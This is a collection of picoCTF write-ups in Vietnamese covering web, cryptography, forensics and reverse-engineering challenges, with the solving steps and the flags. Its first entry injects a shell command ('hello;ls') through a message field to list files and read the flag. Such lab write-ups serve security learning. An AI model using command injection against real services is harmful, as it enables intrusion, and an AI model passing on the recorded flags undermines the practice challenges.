[index.js](https://artifacts.picoctf.net/picoMini+by+redpwn/Web+Exploitation/caas/index.js) ![](https://hackmd.io/_uploads/HJrK8Q4Rh.png) - đường link đó thêm 'tin nhắn' - thử 'hello' xem ![](https://hackmd.io/_uploads/HJv0LXV0h.png) - vậy ta có thể inject command rồi - giống bài ``ping`` giải DD_CTF nhỉ =))) - kế đến ta thêm 'hello;ls' ![](https://hackmd.io/_uploads/SkOzPm4Ah.png) - đọc flag thôi, nhưng 'falg.txt' mới đúng nha ![](https://hackmd.io/_uploads/ryjz5mN0h.png) >picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o} --- ## Cryptography ### caesar ![](https://hackmd.io/_uploads/H1qFj7NR3.png) - đơn giản là mã hoá caesar thôi - [file](https://jupiter.challenges.picoctf.org/static/49f31c8f17817dc2d367428c9e5ab0bc/ciphertext) ![](https://hackmd.io/_uploads/SJMpi7NRn.png) - [dcode.fr](https://www.dcode.fr/shift-cipher) ![](https://hackmd.io/_uploads/BJxDoQER2.png) > picoCTF{crossingtherubiconvfhsjkou} --- ### Mod 26 ![](https://hackmd.io/_uploads/ry31F7-6h.png) - liên quan đến ROT13 - [dcode.fr](https://www.dcode.fr/rot-13-cipher) thôi =))) ![](https://hackmd.io/_uploads/BktNtm-T2.png) >picoCTF{next_time_I'll_try_2_rounds_of_rot13_wqWOSBKW} --- ### The Numbers ![](https://hackmd.io/_uploads/rkruFXWan.png) - [link tải numbers](https://jupiter.challenges.picoctf.org/static/f209a32253affb6f547a585649ba4fda/the_numbers.png) ![](https://hackmd.io/_uploads/SkSiFQbpn.png) - tiếp tục [dcode.fr](https://www.dcode.fr/letter-number-cipher) =)) ![](https://hackmd.io/_uploads/HJ7z9QW6n.png) > PICOCTF{THENUMBERSMASON} --- ### 13 ![](https://hackmd.io/_uploads/rk5v97-63.png) - another [dcode.fr](https://www.dcode.fr/rot-13-cipher) ![](https://hackmd.io/_uploads/Hkv95m-an.png) >picoCTF{not_too_bad_of_a_problem} --- ### HideTooSee ![](https://hackmd.io/_uploads/r1YCo7b6n.png) - từ hint ta phải extract file ảnh ra ![](https://hackmd.io/_uploads/rkgehQWT3.jpg) - dùng công cụ ``steghide`` ```bash $ sudo apt-get install steghide ``` ![](https://hackmd.io/_uploads/H1iai7ZT2.png) > nhận 1 encode string, lại có file ảnh tên atbash và ảnh có nội dung 'atbash cipher' - tiếp tục [dcode.fr](https://www.dcode.fr/atbash-cipher) ![](https://hackmd.io/_uploads/BJUQa7-6h.png) > mục ALPHABET sẽ là từ hình ảnh (từ A đến Z) - flag: >picoCTF{atbash_crack_8a0feddc} --- ### ReadMyCert ![](https://hackmd.io/_uploads/rJSpCXZan.png) - hint là tải file về rồi đọc nó - [file](https://artifacts.picoctf.net/c/425/readmycert.csr) - vậy ta ``cat`` nó thử ![](https://hackmd.io/_uploads/H1-2CmWTh.png) - tiếp tục [dcode.fr](https://www.dcode.fr/cipher-identifier) ![](https://hackmd.io/_uploads/SyTU1N-a3.png) > ta nhận 2 luồng khả quan - mã hoá RAGBABY bịp lắm ![](https://hackmd.io/_uploads/ryJjyVWTn.png) - base64 chuẩn hơn ![](https://hackmd.io/_uploads/Hkus1E-p2.png) > picoCTF{read_mycert_693f7c03} --- ### rotation ![](https://hackmd.io/_uploads/SJMQeEZT3.png) - [file](https://artifacts.picoctf.net/c/387/encrypted.txt) - nhận file .txt nên ``cat`` luôn ![](https://hackmd.io/_uploads/HyRWx4ZT2.png) - hint là nên đổi chỗ ---> nghĩ đến caesar cipher - [dcode.fr](https://www.dcode.fr/caesar-cipher) ![](https://hackmd.io/_uploads/HysFxNbT3.png) >picoCTF{r0tat1on_d3crypt3d_949af1a1} --- ## Forensics ### Information ![](https://hackmd.io/_uploads/B1XeX4-6n.png) - nhận được 1 file ảnh ![](https://hackmd.io/_uploads/r13kQV-a3.jpg) - dùng ``exiftool`` trên linux hoặc [onl tool](https://exif.tools/upload.php) ![](https://hackmd.io/_uploads/r1bUmVZ62.png) - strings khả nghi, [decode](https://www.dcode.fr/base-64-encoding) nó ![](https://hackmd.io/_uploads/rJGd7EbTn.png) >picoCTF{the_m3tadata_1s_modified} --- ### tunn3l v1s10n ![](https://hackmd.io/_uploads/HJfI-rRa2.png) - ta nhận được 1 file data - chưa biết nó là gì nhưng lại định dạng như 1 hình ảnh ![](https://hackmd.io/_uploads/Bydcp4Ap2.png) - vậy ta dùng ``exiftool`` để kiểm tra thông tin ![](https://hackmd.io/_uploads/Sygv64Aah.png) > là 1 định dạng file .bmp - ta rename lại file thêm đuôi '.bmp' vào cuối - mở file thông thường trên linux hay win tất nhiên là không được, ta mở bằng [Photopea](https://www.photopea.com/) ![](https://hackmd.io/_uploads/rkWoRVRp3.png) - ta nhận 1 hình ảnh, có lẽ là flag bịp ``notaflag{sorry}`` - nhưng hint từ challenge lại nói là 'won't display right...' - nghĩ đến hình ảnh này bị cắt xén ![](https://hackmd.io/_uploads/ByWIJBA6h.png) > nhìn kỹ kích cỡ thì thấy được là ảnh hình chữ nhật > vậy ta chỉnh lại thành hình vuông xem sao (cạnh 1134) ![](https://hackmd.io/_uploads/Hk8RkrRT3.png) > check xem byte size hình là gì - sử dụng ``hexedit`` trên linux hoặc [Hexedit](https://hexed.it/) ![](https://hackmd.io/_uploads/B1ubeB0T3.png) > thấy size nằm ngay đó > thống nhất sửa 32 01 thành 6E 04 luôn cho đồng bộ > dùng phím mũi tên di chuyển trỏ chuột > chỉnh ngay đâu thì ghi đè ngay đó > sau đó ctrl + S lưu, ctrl + C để thoát ![](https://hackmd.io/_uploads/B1MPgBRT2.png) >sau khi sửa - mở lại [Photopea](https://www.photopea.com/) ![](https://hackmd.io/_uploads/S1O0erR63.png) > picoCTF{qu1t3_a_v13w_2020} --- ### Matryoshka doll ![](https://hackmd.io/_uploads/r10W8S0T2.png) - dùng thử ``exiftool`` có lẽ vô vọng ```bash= hlaan@ubuntu:~/Downloads/pico/forensics$ exiftool dolls.jpg ExifTool Version Number : 12.40 File Name : dolls.jpg Directory : . File Size : 636 KiB File Modification Date/Time : 2021:03:16 07:23:04+07:00 File Access Date/Time : 2023:08:31 23:35:58+07:00 File Inode Change Date/Time : 2023:08:31 23:35:58+07:00 File Permissions : -rw-rw-r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 594 Image Height : 1104 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Profile Name : ICC Profile Profile CMM Type : Apple Computer Inc. Profile Version : 2.1.0 Profile Class : Display Device Profile Color Space Data : RGB Profile Connection Space : XYZ Profile Date Time : 2020:06:09 12:08:45 Profile File Signature : acsp Primary Platform : Apple Computer Inc. CMM Flags : Not Embedded, Independent Device Manufacturer : Apple Computer Inc. Device Model : Device Attributes : Reflective, Glossy, Positive, Color Rendering Intent : Perceptual Connection Space Illuminant : 0.9642 1 0.82491 Profile Creator : Apple Computer Inc. Profile ID : 0 Profile Description : Display Profile Description ML (hr-HR) : LCD u boji Profile Description ML (ko-KR) : 컬러 LCD Profile Description ML (nb-NO) : Farge-LCD Profile Description ML (hu-HU) : Színes LCD Profile Description ML (cs-CZ) : Barevný LCD Profile Description ML (da-DK) : LCD-farveskærm Profile Description ML (nl-NL) : Kleuren-LCD Profile Description ML (fi-FI) : Väri-LCD Profile Description ML (it-IT) : LCD colori Profile Description ML (es-ES) : LCD color Profile Description ML (ro-RO) : LCD color Profile Description ML (fr-CA) : ACL couleur Profile Description ML (uk-UA) : Кольоровий LCD Profile Description ML (he-IL) : ‏LCD צבעוני Profile Description ML (zh-TW) : 彩色LCD Profile Description ML (vi-VN) : LCD Màu Profile Description ML (sk-SK) : Farebný LCD Profile Description ML (zh-CN) : 彩色LCD Profile Description ML (ru-RU) : Цветной ЖК-дисплей Profile Description ML (en-GB) : Colour LCD Profile Description ML (fr-FR) : LCD couleur Profile Description ML (hi-IN) : रंगीन LCD Profile Description ML (th-TH) : LCD สี Profile Description ML (ca-ES) : LCD en color Profile Description ML (en-AU) : Colour LCD Profile Description ML (es-XL) : LCD color Profile Description ML (de-DE) : Farb-LCD Profile Description ML : Color LCD Profile Description ML (pt-BR) : LCD Colorido Profile Description ML (pl-PL) : Kolor LCD Profile Description ML (el-GR) : Έγχρωμη οθόνη LCD Profile Description ML (sv-SE) : Färg-LCD Profile Description ML (tr-TR) : Renkli LCD Profile Description ML (pt-PT) : LCD a Cores Profile Description ML (ja-JP) : カラーLCD Profile Copyright : Copyright Apple Inc., 2020 Media White Point : 0.94955 1 1.08902 Red Matrix Column : 0.51099 0.23955 -0.00104 Green Matrix Column : 0.29517 0.69981 0.04224 Blue Matrix Column : 0.15805 0.06064 0.78369 Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) Video Card Gamma : (Binary data 48 bytes, use -b option to extract) Native Display Info : (Binary data 62 bytes, use -b option to extract) Chromatic Adaptation : 1.04861 0.02332 -0.05034 0.03018 0.99002 -0.01714 -0.00922 0.01503 0.75172 Make And Model : (Binary data 40 bytes, use -b option to extract) Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) Exif Byte Order : Big-endian (Motorola, MM) X Resolution : 144 Y Resolution : 144 Resolution Unit : inches User Comment : Screenshot Exif Image Width : 594 Exif Image Height : 1104 Pixels Per Unit X : 5669 Pixels Per Unit Y : 5669 Pixel Units : meters XMP Toolkit : XMP Core 5.4.0 Apple Data Offsets : (Binary data 28 bytes, use -b option to extract) Warning : [minor] Trailer data after PNG IEND chunk Image Size : 594x1104 Megapixels : 0.656 ``` - vì hint có nói là file được ẩn giấu trong đó - sử dụng ``binwalk`` để chiết xuất ra với tham số là '-e' ![](https://hackmd.io/_uploads/BJHb8r0p3.png) > nhận thấy nó tạo giúp ta 1 thư mục đã chiết xuất (.extracted) và gồm 1 hình ảnh nhỏ trong đó (2_c.jng) - vào trong thư mục đó ``binwalk`` lần nữa ![](https://hackmd.io/_uploads/H1PVPB0p2.png) > nhận được tương tự (3_c.jpg) - ``binwalk`` thêm vài lần sẽ thấy flag.txt ![](https://hackmd.io/_uploads/SJa0vBAT2.png) - flag: ![](https://hackmd.io/_uploads/HJyQ_BATh.png) >picoCTF{4cf7ac000c3fb0fa96fb92722ffb2a32} --- ### MacroHard WeakEdge ![](https://hackmd.io/_uploads/BkdufUCan.png) - nhận được file lạ ![](https://hackmd.io/_uploads/rJsoGIATn.png) - kiểm tra: ![](https://hackmd.io/_uploads/HJGhfL0Th.png) - kiểm tra sâu hơn với tool ``7z`` ![](https://hackmd.io/_uploads/BJQGmIAa3.png) - tham số 'l' --> ``7z l Forensics\ is\ fun.pptm`` ![](https://hackmd.io/_uploads/Hk_SQLATh.png) > liệt kê thấy phần tử này đáng ngờ - lúc này có thể sửa dụng ``unzip`` hoặc ``7z x`` cũng được ![](https://hackmd.io/_uploads/rJtVfU063.png) - nhận được chuỗi kì lạ ``` Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q ``` - decode nó ![](https://hackmd.io/_uploads/B1f74UC6h.png) > picoCTF{D1d_u_kn0w_ppts_r_z1p5} --- ### Glory of the Garden ![](https://hackmd.io/_uploads/H1OIccm02.png) - dựa vào hint là ta có thể đoán flag nằm trong chuỗi hex ẩn trong [file ảnh](https://jupiter.challenges.picoctf.org/static/d0e1ffb10fc0017c6a82c57900f3ffe3/garden.jpg) - ta có thể dùng - dùng ``strings`` thôi ![](https://hackmd.io/_uploads/HJQp9c7Cn.png) >picoCTF{more_than_m33ts_the_3y3eBdBd2cc} --- ### Enhance! ![](https://hackmd.io/_uploads/S16yoiX02.png) - tải [file](https://artifacts.picoctf.net/c/101/drawing.flag.svg) về thì thấy lạ về định dạng ![](https://hackmd.io/_uploads/HyONcom0n.png) - ``cat`` nó thử ![](https://hackmd.io/_uploads/SkbwcoX03.png) - thì mấy dòng gần cuối có chuỗi tựa như flag > ``{ 3 n h 4 n`` > ``c 3 d _ 2 4 3 7 4 6 7 5 }`` - thì submit thêm định dạng là ``picoCTF`` là được >picoCTF{3nh4nc3d_24374675} --- ### Lookey here ![](https://hackmd.io/_uploads/BkOe6sXA2.png) - tải [file](https://artifacts.picoctf.net/c/126/anthem.flag.txt) về và dựa vào hint là tìm flag dựa trên prefix - thì file là text, ``strings`` cho lẹ ![](https://hackmd.io/_uploads/Sysa3sm0h.png) > picoCTF{gr3p_15_@w3s0m3_2116b979} --- ### Redaction gone wrong ![](https://hackmd.io/_uploads/SysQRoQA2.png) - tải [file](https://artifacts.picoctf.net/c/84/Financial_Report_for_ABC_Labs.pdf) về và biết nó là file .pdf ![](https://hackmd.io/_uploads/BkvnpsmA2.png) - mở lên thử ![](https://hackmd.io/_uploads/SJR-Cs7C2.png) > bị tô đen nhưng chỉ cần kéo chuột là thấy hết rồi - ão thặc đấy =))))))))))))))))) >picoCTF{C4n_Y0u_S33_m3_fully} --- ### Sleuthkit Intro ![](https://hackmd.io/_uploads/Sy8Rl3X03.png) - tải [file](https://artifacts.picoctf.net/c/164/disk.img.gz) về và nhận được file .gz ![](https://hackmd.io/_uploads/rk_-e3mA3.png) - extract nó ra ![](https://hackmd.io/_uploads/SkzExnQCh.png) - nhận được file 'disk.img' - dựa vào description từ challenge, ta dùng lệnh command ``mmls`` ![](https://hackmd.io/_uploads/ry3de3mAn.png) - chall còn cho netcat ![](https://hackmd.io/_uploads/rkvox2m02.png) > trả lời câu hỏi thôi, 'size Linux' thì lấy cái 'Length' của Linux mà phang - flag: > picoCTF{mm15_f7w!} --- ### extensions ![](https://hackmd.io/_uploads/rk40hGERn.png) - [file](https://jupiter.challenges.picoctf.org/static/e7e5d188621ee705ceeb0452525412ef/flag.txt) ![](https://hackmd.io/_uploads/Hy573zN02.png) - dạng file ảnh PNG, vậy rename lại từ .txt thành .png ![](https://hackmd.io/_uploads/B1MFnM4An.png) >picoCTF{now_you_know_about_extensions} --- ### What Lies Within ![](https://hackmd.io/_uploads/Sk4LAGVR2.png) - [file](https://jupiter.challenges.picoctf.org/static/011955b303f293d60c8116e6a4c5c84f/buildings.png) ![](https://hackmd.io/_uploads/SkMYCzVCn.png) - dựa vào hint nói là 'data encoded somewhere' ---> stego - [online tool](https://stylesuxx.github.io/steganography/) ![](https://hackmd.io/_uploads/Hk3X0GN0h.png) > picoCTF{h1d1ng_1n_th3_b1t5} --- ## Reverse Engineering ### file-run1 ![](https://hackmd.io/_uploads/Hk10abEC3.png) - [file](https://artifacts.picoctf.net/c/219/run) ![](https://hackmd.io/_uploads/SJOh6bEA3.png) > picoCTF{U51N6_Y0Ur_F1r57_F113_e5559d46} --- ### file-run2 ![](https://hackmd.io/_uploads/HJOSA-E0h.png) - [file](https://artifacts.picoctf.net/c/155/run) ![](https://hackmd.io/_uploads/rkjmCWVRh.png) >picoCTF{F1r57_4rgum3n7_be0714da} --- ### crackme-py ![](https://hackmd.io/_uploads/B1x8-GVCn.png) - [script python](https://mercury.picoctf.net/static/db4b9e7a2862c320aa6b40e3551406bd/crackme.py) - ``cat`` thử ![](https://hackmd.io/_uploads/HJI9WG4R3.png) - thấy đề cập đến mã hoá ROT47 - đồng thời nhận thấy chuỗi khả nghi ``bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE0d_a3hgc3N"`` - sử dụng [dcode.fr](https://www.dcode.fr/rot-47-cipher) ![](https://hackmd.io/_uploads/BkLkzMEAh.png) >``picoCTF{1|\/|_4_p34|\|ut_502b984b}``